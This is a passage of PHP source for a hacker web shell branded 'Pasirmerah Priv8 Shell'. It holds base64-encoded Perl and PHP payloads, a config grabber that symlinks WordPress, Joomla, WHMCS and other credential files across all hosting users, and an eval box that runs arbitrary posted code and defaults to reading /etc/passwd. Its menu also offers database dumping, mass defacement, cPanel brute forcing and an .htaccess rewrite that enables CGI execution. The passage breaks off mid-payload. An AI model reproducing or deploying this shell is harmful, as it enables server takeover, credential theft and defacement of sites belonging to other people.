ZxUy+7+/EGoZmSKKu3UWw8iVcJxP+1NlYAp9mgf5X4/RXoiwWn6RrSRFtZoxu5iKZi8cx/TWEm/H6nUYzpK+Gf0smIpeJ7gajxww3/qq8EeVFAR1LS7wU1UEsIaLc0qkI9ZOyHGxvAgC+gcVlCaqRl0BylclPTgT9LG7YfZYnI1+zi5mU3+uJm+u5r0YPj/jlmyms37/fmGG9u4PcAXehKxHMGpqHFGz3t1PCl9euDU3G42m/4Bv9K+Ijsv53It0On+UFxbzLu/rq7fTil8zfK4ofu0Es1wbLtwmtBbm5Imx8NTEmmu5Hj4YjIr8UzjepGykhHHK19fegM00oMQ3r4P5p59n0P6Ch56pO8SIG4xKuF1u93nYZ/IsL61Tt+x4OjTyJGmlSBpEgZ5xuST/461RpRuaI8BYfHslvBQiM8yihy/i+eFRFRunebKSqLJdCTLkki9O7DbHhTC+N/fef9EtZFQJLOSSHut/gM=";
564//confshell
565$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
566?>
567<html>
568<head>
569<title>[!] Pasirmerah Priv8 Shell [!]</title>
570<script type="text/javascript">
571function tukar(lama,baru){
572 document.getElementById(lama).style.display = 'none';
573 document.getElementById(baru).style.display = 'block';
574}
575</script>
576<style type="text/css">
577body{
578 background:#000000;;
579}
580a {
581text-decoration:none;
582}
583a:hover{
584border-bottom:0px solid aqua;
585}
586*{
587 font-size:11px;
588 font-family:Courier,Courier,Courier;
589 color:white;
590}
591#menu{
592 background:#000000;
593 margin:8px 2px 4px 2px;
594}
595#menu a{
596 padding:2px 7px;
597 margin:0;
598 background:darkred;
599 text-decoration:none;
600 letter-spacing:2px;
601 -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
602
603}
604#menu a:hover{
605 background:red;
606 border-bottom:1px solid #ffffff;
607 border-top:1px solid #ffffff;
608}
609.tabnet{
610 margin:15px auto 0 auto;
611 border: 1px solid #ffffff;
612}
613.main {
614 width:100%;
615}
616.gaya {
617 color: white;
618}
619.inputz{
620 background:#111111;
621 border:0;
622 padding:2px;
623 border-bottom:1px solid #222222;
624 border-top:1px solid #222222;
625}
626.inputzbut{
627 background:#111111;
628 color:white;
629 margin:0 4px;
630 border:1px solid #444444;
631
632}
633.inputz:hover
634 border-bottom:1px solid white;
635 border-top:1px solid white;
636
637}
638.inputzbut:hover{
639 border-bottom:1px solid white;
640 border-top:1px solid white;
641}
642.output {
643 margin:auto;
644 border:1px solid aqua;
645 width:100%;
646 height:400px;
647 background:#000000;
648 padding:0 2px;
649}
650.cmdbox{
651 width:100%;
652}
653.head_info{
654 padding: 0 4px;
655}
656.jaya{ font-family: ;}
657
658.kerupuk{
659 font-size:50px;
660 padding:0;
661 color:red;
662}
663.kerupuk_1{
664 text-align:center;
665 margin:0 4px 0 0;
666 padding:0 4px 0 0;
667 border-right:1px solid #333333;
668}
669.phpinfo table{
670 width:100%;
671 padding:0 0 0 0;
672}
673.phpinfo td{
674 background:#111111;
675 color:#cccccc;
676padding:6px 8px;;
677}
678.phpinfo th, th{
679 background:#191919;
680 border-bottom:1px solid #333333;
681font-weight:normal;
682}
683.phpinfo h2, .phpinfo h2 a{
684 text-align:center;
685 font-size:16px;
686 padding:0;
687 margin:30px 0 0 0;
688 background:aqua;
689 padding:4px 0;
690}
691.explore{
692width:100%;
693}
694.explore a {
695text-decoration:none;
696}
697.explore td{
698border-bottom:1px solid #333333;
699padding:0 8px;
700line-height:24px;
701}
702.explore th{
703padding:3px 8px;
704font-weight:normal;
705}
706.explore th:hover , .phpinfo th:hover{
707border-bottom:1px solid aqua;
708}
709.explore tr:hover{
710background:gray;
711}
712.viewfile{
713background:white;
714color:#000000;
715margin:4px 2px;
716padding:8px;
717}
718.sembunyi{
719display:none;
720padding:0;margin:0;
721}
722</style></head>
723<body onLoad="document.getElementById('cmd').focus();">
724<!-- head info start here -->
725<div class="main">
726<center>
727<hr color=black width=100%>
728<img src="http://2.bp.blogspot.com/-y5AAjLgiYMY/VWdUpkyBb3I/AAAAAAAAA6Y/8n9Po0Cpo8Q/s320/m.png" width="412" height="215"/><a/><br />
729<a href="javascript:void(0)" onclick="location.reload();"><h2><center>PASIRMERAH PRIV8 SHELL</center></h2></a>
730</center>
731<a href="javascript:void(0)" onclick="location.reload();"><h2><center>-= r3c0d3d by Sinkaroid feat Kerupuk =-</center></h2></a>
732<hr color=black width=100%>
733</div>
734<center>
735<td><?php echo $buff; ?></td>
736<hr color=black width=100%>
737
738
739
740<!-- head info end here -->
741<!-- menu start -->
742<div id="menu">
743<a href="?<?php echo "y=" . $pwd; ?>">Home</a>
744<a href="?<?php echo "y=" . $pwd; ?>&x=shell">Shell</a>
745<a href="?<?php echo "y=" . $pwd; ?>&x=php">Eval</a>
746<a href="?<?php echo "y=" . $pwd; ?>&x=mysql">Mysql</a>
747<a href="?<?php echo "y=" . $pwd; ?>&x=jumping">Jumping</a>
748<a href="?<?php echo "y=" . $pwd; ?>&x=grabc">Config Grabber</a>
749<a href="?<?php echo "y=" . $pwd; ?>&x=sec">Symlink Server</a>
750<a href="?<?php echo "y=" . $pwd; ?>&x=sf">Symlink File</a>
751<a href="?<?php echo "y=" . $pwd; ?>&x=dv">/var/named</a>
752<a href="?<?php echo "y=" . $pwd; ?>&x=dump">DB Dump</a>
753<br><br>
754<a href="?<?php echo "y=" . $pwd; ?>&x=upload">Upload</a>
755<a href="?<?php echo "y=" . $pwd; ?>&x=phpinfo">PhpInfo</a>
756<a href="?<?php echo "y=" . $pwd; ?>&x=mass">Mass Deface</a>
757<a href="?<?php echo "y=" . $pwd; ?>&x=hash">Hash</a>
758<a href="?<?php echo "y=" . $pwd; ?>&x=hashid">Hash ID</a>
759<a href="?<?php echo "y=" . $pwd; ?>&x=zonekerupuk">Zone-H</a>
760<a href="?<?php echo "y=" . $pwd; ?>&x=brute">Cpanel BruteForce</a>
761<a href="?<?php echo "y=" . $pwd; ?>&x=netsploit">NetSploit</a>
762<a href="?<?php echo "y=" . $pwd; ?>&x=about">About</a>
763<a href="?<?php echo "y=" . $pwd; ?>&x=logout">Logout</a>
764
765</div>
766<!-- menu end -->
767
768<?php
769@ini_set('display_errors', 0);
770if (isset($_GET['x']) && ($_GET['x'] == 'php')) { ?>
771<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
772<table class="cmdbox">
773<tr><td>
774<textarea class="output" name="cmd" id="cmd">
775<?php
776 if (isset($_POST['submitcmd'])) {
777 echo eval(magicboom($_POST['cmd']));
778 } else echo "echo file_get_contents('/etc/passwd');";
779?>
780</textarea>
781<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
782</table>
783</form>
784
785<?php
786} elseif (isset($_GET['x']) && ($_GET['x'] == 'sql')) {
787?>
788<form action="?y=<?php echo $pwd; ?>&x=sql" method="post">
789<?php
790 echo "<center/><br/><b><font color=white>Mysql Interface by S4MP4H</font></b><br><br>";
791 mkdir('mysql', 0755);
792 chdir('mysql');
793 $akses = ".htaccess";
794 $buka_lah = "$akses";
795 $buka = fopen($buka_lah, 'w') or die("Error cuyy!");
796 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
797AddType application/x-httpd-php .cpc
798";
799 fwrite($buka, $metin);
800 fclose($buka);
801 $sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2Fk